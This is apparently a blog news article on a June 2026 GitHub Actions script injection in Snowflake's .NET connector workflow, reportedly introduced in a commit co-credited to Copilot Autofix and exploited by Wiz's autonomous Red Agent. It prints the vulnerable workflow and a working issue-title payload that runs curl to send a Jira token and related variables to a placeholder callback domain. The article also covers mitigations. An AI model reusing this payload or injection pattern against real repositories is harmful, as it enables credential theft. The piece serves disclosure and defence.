⏱️ Lectura: 11 min
On June 18, 2026, a commit signed in part by Copilot Autofix replaced the safe parsing of a Snowflake workflow with a line that allowed running any command just by opening a GitHub issue. Five days later, Wiz’s Red Agent, an autonomous AI-powered research tool, found the flaw, fixed its own payload after a syntax error, and exfiltrated an internal Jira token within seconds.
📑 En este artículo
The case, documented by Wiz Research under Snowflake’s HackerOne program, is one of the first public examples where an autofix AI introduces the vulnerability and another AI, autonomously, discovers and exploits it.
TL;DR
- Wiz Research found a script injection in the jira_issue.yml workflow of the snowflakedb/snowflake-connector-net repo.
- PR #1218, merged on June 18, 2026, introduced the bug and lists Copilot Autofix as a co-author of the commit.
- The workflow triggered on any issue opened by any GitHub user, with no prior authentication.
- A security gate based on github.event.pull_request.user.login always evaluated as true on issues-type events.
- Wiz’s Red Agent adjusted its payload after a bash syntax error and achieved remote command execution.
- The attack exfiltrated a Jira token from the [email protected] account, with access to engineering and bug bounty projects.
- Snowflake patched the workflow the same day of disclosure, June 23, 2026, with PR #1402.
- Wiz updated the post on August 17, 2026 to clarify that Copilot reviewed the merged PR and did not detect the flaw.
Introduction
Copilot Autofix is GitHub’s feature that reviews pull requests and suggests, or directly applies, automatic security patches. In this case, it participated as a co-author of a change that, far from fixing anything, opened the door to remote command execution in a public Snowflake repository. The affected repository, snowflakedb/snowflake-connector-net, is the official .NET connector that thousands of applications use to talk to the Snowflake data warehouse.
The story matters for any team using GitHub Actions with automatic triggers (issues, pull requests, comments), because it exposes a vulnerability pattern known for years, template injection in workflows, reintroduced by a tool designed specifically to prevent that kind of error. Copilot Autofix didn’t fail because of some exotic bug: it failed against the same pattern it audits every day.
What happened
Wiz Research uses Red Agent to scan entire organizations on GitHub for insecure workflows. During the scan of Snowflake’s repository, Wiz Research flagged the jira_issue.yml file as vulnerable to script injection for using untrusted data directly in a run: block.
The workflow triggered on the issues: opened event, meaning anyone with a GitHub account could trigger it without authenticating against Snowflake. The issue title was interpolated directly into a shell script:
on:
issues:
types: [opened]
jobs:
notify-jira:
runs-on: ubuntu-latest
steps:
- name: Build Jira payload
run: |
TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\\\'/g")
echo "title=$TITLE" >> "$GITHUB_OUTPUT"
The problem lies in the order of operations. GitHub expands ${{ github.event.issue.title }} as plain text before the runner executes a single line of the script. The sed that tries to escape quotes runs afterward, on a string that has already broken the syntax of echo ‘…’. If the issue title contains a single quote, the attacker breaks out of the string and the rest of the title is interpreted as shell commands.
That pattern replaced a safer one that previously existed in the same file, one that passed the title through an environment variable and built the JSON with jq –arg. The comparison between both approaches is as follows:
| Pattern | Where it appears | Risk | Safe alternative |
|---|---|---|---|
| ${{ github.event.issue.title }} interpolated directly in run: | jira_issue.yml, PR #1218 | Shell command injection before any escaping | Pass the value through env: and read it as an environment variable |
| Escaping with sed after template expansion | Commit 4a1b8ce | Escaping runs after GitHub already expanded the string, not before | jq –arg to safely build JSON |
| if: github.event.pull_request.user.login != bot | Workflow’s security gate | pull_request is null on issues events: the condition is always true | Check github.event.issue.user.login or require manual review |
⚠️ Heads up: the workflow had a condition that seemed to filter out bots, but github.event.pull_request is always null on issues-type events. The condition evaluated as true for any user, always.
Context and history of Copilot Autofix
Copilot Autofix is GitHub’s answer to the same problem Wiz exploits here: most vulnerabilities in production don’t come from exotic bugs, but from known patterns nobody reviews in time. The feature analyzes pull requests, detects risky code, and suggests, or directly applies, the patch. Commit 4a1b8ce, part of PR #1218 (SNOW-2069227: Update jira workflows), lists Copilot Autofix powered by AI as co-author of the change that introduced the bug.
Wiz updated its original post on August 17, 2026 at 19:57 UTC to clarify an important nuance: Copilot participated as a reviewer that approved the already-merged PR, without flagging the vulnerability, but it is not confirmed whether the code change itself was generated with AI assistance. The distinction matters because it separates two different failures: who wrote the insecure line and who reviewed it without detecting it.
The finding took place within the responsible disclosure program Snowflake maintains on HackerOne, the same channel Wiz typically uses to report the results of its offensive research.
Technical details and performance
Wiz crafted an issue title designed to break out of the echo and execute an exfiltration command via out-of-band callback (OAST). The first attempt used a # character to comment out the rest of the line, but that also consumed the closing parenthesis of TITLE=$(…), and the runner returned a bash syntax error.
Red Agent didn’t stop at the error. It analyzed the failure message, understood it needed to close the subshell block before injecting the command, and adjusted the payload to use ; echo ‘ instead of the comment:
' ; curl -s "https://CALLBACK_DOMAIN?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '
That title, once interpolated inside the original echo ‘…’, closes the string, runs a curl that base64-encodes the environment variables for the token, email, and Jira base URL, and sends them as a query string to a callback domain controlled by the researchers. The runner, with an Azure IP (20.106.182.197), made the request within seconds.
💭 Key point: the most relevant detail isn’t the bug itself, but that the autonomous agent debugged and fixed its own exploit with no human intervention between the first syntax error and the second, successful attempt.
The exfiltrated token authenticated as [email protected] against snowflakecomputing.atlassian.net, Snowflake’s internal Jira instance, with read access to engineering, security compliance, and bug bounty tracking projects.
The full attack flow
sequenceDiagram
participant A as Attacker
participant G as GitHub Actions
participant R as Runner
participant J as Jira
participant C as Callback server
A->>G: Opens an issue with a malicious title
G->>R: Triggers the jira_issue.yml workflow
R->>R: Interpolates the title unsanitized in run
R->>C: Exfiltrates the Jira token via curl
Note over R,C: The token grants read access to internal Jira
C-->>J: The token is reusable against Jira
How to start testing it
The pattern that broke Snowflake is easy to search for in your own workflow history. A first step, without installing anything, is to grep your repository’s YAML files directly:
grep -rn "github\.event\.issue\.title" .github/workflows/*.yml
If that command returns results inside a run: block (and not inside an env:), you have the same problem Snowflake had. For a more thorough check, actionlint is a static linter for GitHub Actions workflows that detects unsafe ${{ }} interpolations inside shell scripts, among other rules.
# macOS (Homebrew)
brew install actionlint
# Linux / macOS (Go toolchain)
go install github.com/rhysd/actionlint/cmd/actionlint@latest
# Windows (Scoop)
scoop install actionlint
# Verify installation
actionlint --version
To confirm a specific workflow is clean, run actionlint .github/workflows/jira_issue.yml and check that no shellcheck warning or unquoted expression appears inside a run: block. It’s also worth reviewing the official GitHub Actions hardening guide for triggers like issues, issue_comment, and pull_request_target, which are the most prone to this kind of injection.
Impact and analysis
The incident connects two trends that until now were discussed separately. On one hand, AI-powered autofix tools, designed to reduce the security review workload, can introduce the same kind of error they’re meant to prevent if nobody audits the final diff with human eyes. On the other, autonomous agents like Red Agent show that finding and exploiting that kind of flaw no longer requires days of manual work: the full cycle, from scanning to confirmed exfiltration, took minutes once the vulnerable file was identified.
Snowflake responded within the same day of the report: it reverted the insecure pattern, rotated the exposed credential, and confirmed, through audit logs, that Wiz was the only actor that accessed the token during the exposure window. Wiz, for its part, confirmed it securely deleted any data it accessed during the proof of concept.
For teams already delegating security reviews to AI assistants like Copilot Autofix, or equivalent tools, the case leaves a concrete lesson: an automatic approval on an infrastructure-as-code pull request doesn’t replace a human review specifically focused on how untrusted input is handled inside a run: block.
What’s next
Wiz confirmed it will keep operating Red Agent within responsible disclosure programs like Snowflake’s on HackerOne, applying the same continuous scanning approach to other organizations. Snowflake has already restored the safe pattern with env: and jq –arg in PR #1402, merged that same June 23, 2026.
The case also feeds a broader industry debate: whether AI autofix tools co-authoring commits to critical infrastructure need the same level of scrutiny, or a higher one, than a human pull request, especially in files that define automatic triggers and workflow permissions.
📖 Summary on Telegram: View summary
Try it yourself: run grep -rn "github.event.issue.title" .github/workflows/*.yml on your own repository to check if you have the same pattern that opened the door in Snowflake.
Frequently Asked Questions
What is Wiz’s Red Agent?
It’s an autonomous, AI-powered security research tool that Wiz Research uses to scan organizations for vulnerable configurations and workflows, and in this case also to exploit them as a proof of concept within a responsible disclosure program.
What is Copilot Autofix?
It’s GitHub’s feature that analyzes pull requests, detects risky code patterns, and suggests or applies automatic patches. In this case it appears as co-author of the commit that introduced the vulnerable pattern, although Wiz later clarified it isn’t confirmed whether the code change was generated with AI assistance.
Was Snowflake’s data exposed to third parties?
According to Wiz, Snowflake’s audit logs confirmed that Wiz was the only actor that accessed the token during the exposure window, and that all data accessed during the proof of concept was securely deleted.
How can I check if my own workflows have the same problem?
Search for direct interpolations of ${{ github.event.* }} inside run: blocks with grep, or run a linter like actionlint over your .github/workflows folder. The safe alternative is to pass the value through an env: variable and consume it as an environment variable in the script.
What is a script injection attack in GitHub Actions?
It’s when a value controlled by an external user (an issue title, a comment, a branch name) is interpolated as text into a shell script before execution, allowing that user to inject arbitrary commands that run with the runner’s permissions.
Has Snowflake already fixed the vulnerability?
Yes. Snowflake patched the workflow that same June 23, 2026, restored the safe pattern with env: and jq –arg, and rotated the exposed Jira credential.
References
- Wiz Research: original publication with the full walkthrough of the finding and exploitation.
- GitHub Docs: official security hardening guide for GitHub Actions.
- snowflakedb/snowflake-connector-net: official repository of the affected connector.
- rhysd/actionlint: static linter for GitHub Actions workflows used to detect unsafe interpolations.
📱 Enjoying this content? Follow @programacion on Telegram for daily tech content in Spanish: quick summaries, fresh content every day. @programacion
Imagen destacada: Foto de Lewis Kang’ethe Ngugi en Unsplash
0 Comments